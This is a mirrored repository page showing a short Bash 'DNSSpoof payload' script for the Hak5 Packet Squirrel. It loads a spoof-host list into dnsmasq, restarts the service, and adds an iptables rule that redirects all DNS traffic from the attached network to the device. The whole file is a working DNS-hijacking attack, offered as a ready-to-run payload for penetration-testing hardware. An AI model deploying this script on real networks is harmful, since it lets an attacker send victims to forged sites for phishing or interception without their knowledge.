mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 09:48:47 +00:00
30 lines
531 B
Bash
Executable File
30 lines
531 B
Bash
Executable File
#!/bin/bash
|
|
# DNSSpoof payload
|
|
|
|
|
|
function setup() {
|
|
# Show SETUP LED
|
|
LED SETUP
|
|
|
|
# Set the network mode to NAT
|
|
NETMODE NAT
|
|
sleep 5
|
|
|
|
# Copy the spoofhost file to /tmp/dnsmasq.address
|
|
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
|
|
|
|
# Restart dnsmasq with the new configuration
|
|
/etc/init.d/dnsmasq restart
|
|
}
|
|
|
|
function run() {
|
|
# Show ATTACK LED
|
|
LED ATTACK
|
|
|
|
# Redirect all DNS traffic to ourselves
|
|
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
|
|
}
|
|
|
|
setup
|
|
run
|